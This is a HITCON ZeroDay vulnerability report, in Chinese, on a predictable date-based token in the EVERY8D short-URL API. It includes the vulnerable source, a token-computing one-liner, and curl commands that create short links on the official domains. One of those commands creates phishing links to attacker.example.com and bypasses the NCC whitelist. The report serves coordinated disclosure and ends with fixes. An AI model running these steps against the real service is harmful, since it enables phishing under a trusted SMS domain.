互動資通 EVERY8D 短網址服務可預測 Token 導致未授權任意短網址建立 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00638
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 EVERY8D 短網址服務可預測 Token 導致未授權任意短網址建立
  • Introduction: 短網址 API 使用當天日期的 Base64 作為 token,任何人均可即時計算有效值並在官方域名下建立惡意短網址。

處理狀態

目前狀態

公開
Last Update : 2026/09/13
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2026/05/07 01:52:03 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/09 17:56:30 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:55:55 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:55:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:55:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 11:22:59 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:13:08 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 21:15:46 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/12 10:31:35 : 未修補完成 (由 罐頭 更新此狀態)
  • 2026/08/12 14:20:43 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/26 11:46:45 : 未修補完成 (由 罐頭 更新此狀態)
  • 2026/08/26 20:40:22 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/09/13 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00638
  • 通報者:guan4tou2 (罐頭)
  • 風險:高
  • 類型:邏輯漏洞 (Logic Flaws)

參考資料

攻擊者可經由該漏洞繞過網站邏輯行為進行惡意攻擊。

漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic

漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://s.e8d.tw/getshorturl
https://saf.tw/getshorturl

敘述

漏洞概述

EVERY8D 短網址服務(s.e8d.twsaf.tw)的 API 認證機制使用 base64_encode(date('m/d/Y')) 作為 token,即當天日期的 Base64 編碼。任何人均可即時計算有效 token,在官方域名下建立指向任意 URL 的短網址,可用於釣魚攻擊或 NCC 電信白名單規避。

漏洞來源:透過 .git/ 目錄暴露(另一份通報已涵蓋)還原原始碼後發現,並於線上實測確認。


受影響端點

  • POST https://s.e8d.tw/getshorturl(消費者版,官方簡訊短網址)
  • POST https://saf.tw/getshorturl(企業版,同一份程式碼)

漏洞根因(原始碼)

.git/ 目錄還原的 app/modules/getshorturl.php(第 40-48 行):

//先判斷token是否有效
if(base64_encode(date('m/d/Y')) != $token)
{
    //token無效
    $resp['status']="303";
    $resp['message']=_TOKENERROR;
    echo RespJson($f3,$resp);
    return;
}

date('m/d/Y') 在 2026-04-29 回傳 04/29/2026,Base64 後為 MDQvMjkvMjAyNg==。此值每天午夜自動更換,但任何人均可即時計算當天有效值。


重現步驟(Live verified: 2026-04-29)

步驟 1:計算當日有效 Token

python3 -c "import base64, datetime; d = datetime.datetime.now().strftime('%m/%d/%Y'); print(base64.b64encode(d.encode()).decode())"

輸出(2026-04-29):MDQvMjkvMjAyNg==

步驟 2:呼叫 API 建立任意短網址

curl -s -X POST "https://s.e8d.tw/getshorturl" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"token":"MDQvMjkvMjAyNg==","remark":"test","urls":["https://example.com"]}'

回應:

{
  "status": "200",
  "message": "成功",
  "data": [
    {
      "org_url": "https%3A%2F%2Fexample.com",
      "short_url": "https://s.e8d.tw/5VHEU"
    }
  ]
}

步驟 3:確認短網址執行 302 重定向

curl -siL "https://s.e8d.tw/5VHEU"

回應:HTTP/1.1 302 Found / Location: https://example.com/

步驟 4:saf.tw 企業版同樣受影響(雙域名確認)

curl -s -X POST "https://saf.tw/getshorturl" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"token":"MDQvMjkvMjAyNg==","remark":"test","urls":["https://example.com"]}'

回應:{"status":"200","message":"成功","data":[{"org_url":"...","short_url":"https://saf.tw/W9E40"}]}

步驟 5:批次建立多個短網址(含 reason=3 NCC 繞過)

curl -s -X POST "https://s.e8d.tw/getshorturl" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"token":"MDQvMjkvMjAyNg==","remark":"phish","reason":"3","urls":["https://attacker.example.com/phishing","https://attacker.example.com/fake-login"]}'

reason=3 為「未過 NCC 白名單的 domain」,可繞過電信主管機關網域白名單限制。


已驗證影響(Verified)

  • 計算 token 無需任何憑證,僅需知道當天日期
  • POST s.e8d.tw/getshorturl 成功回應 HTTP 200 + 短網址(2026-04-29 10:15 實測)
  • 建立的短網址 https://s.e8d.tw/5VHEU 正常執行 302 重定向
  • POST saf.tw/getshorturl 成功(2026-04-29 11:13 實測):建立 https://saf.tw/W9E40
  • reason=3 可用於建立指向非 NCC 白名單域名的短網址

潛在影響(Potential)

  • 釣魚攻擊:攻擊者建立 s.e8d.tw/XXXXX 指向釣魚頁面;因 s.e8d.tw 為 EVERY8D 官方域名,簡訊收件人高度信任此類短網址
  • NCC 白名單規避:reason=3 允許建立原本應被電信監管機制攔截的惡意域名短網址
  • 品牌聲譽損害:大量建立垃圾或惡意短網址,損害官方域名信譽

修補建議

1. 立即停用現有 base64(date()) token 機制。
2. 改用真正的 API 金鑰(長隨機字串,儲存於資料庫)或 JWT 搭配強簽名金鑰。
3. 加入 IP 白名單限制,只允許已知內部或合作夥伴 IP 呼叫 API。
4. 稽核現有短網址資料庫,檢查是否有惡意或不當重定向目標。
5. reason=3 的 NCC 白名單繞過機制應重新評估,非授權呼叫者不應可指定此參數。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;